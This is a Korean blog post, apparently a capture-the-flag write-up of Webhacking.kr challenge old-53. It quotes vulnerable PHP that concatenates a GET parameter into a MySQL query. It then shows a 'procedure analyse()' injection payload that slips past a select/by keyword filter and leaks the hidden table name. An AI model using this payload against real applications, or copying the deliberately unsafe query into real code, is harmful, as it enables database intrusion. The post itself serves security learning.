다른 건 없고 소스코드 링크만 걸려있다.
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
sql injection문제같다. select와 by가 대소문자 구분없이 필터링된다.
$_GET['answer']값과 $hidden_table값이 같아야 문제가 풀린다. 숨겨진 테이블의 이름을 answer에 입력해야 한다.
procedure analyse() 함수를 이용하면 컬럼, 테이블 명을 알 수 있다. limit와 함께 사용하면 필요한 컬럼 명을 한 줄로 뽑아낼 수도 있다.
공격을 시도해보자. 인자로 val=1을 보내면 다음과 같이 내용이 화면에 뜬다.
?val=1
다음과 같이 입력해보자.
?val=1%20procedure%20analyse();
테이블 명을 알아냈다. 이것을 answer에 넣어주면 될 것 같다.
chall53_755fdeb36d873dfdeb2b34487d50a805
?answer=chall53_755fdeb36d873dfdeb2b34487d50a805
문제를 해결할 수 있었다!
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-07 (Challenge 7) (0) | 2021.11.21 |
---|---|
[Webhacking.kr] old-11 / Challenge 11 (0) | 2021.11.07 |
[Webhacking.kr] old-38 / Challenge 38 (0) | 2021.10.10 |
[Webhakcing.kr] old-32 / Challenge 32 (0) | 2021.10.10 |
[Webhacking.kr] old-27 / Challenge 27 (0) | 2021.10.10 |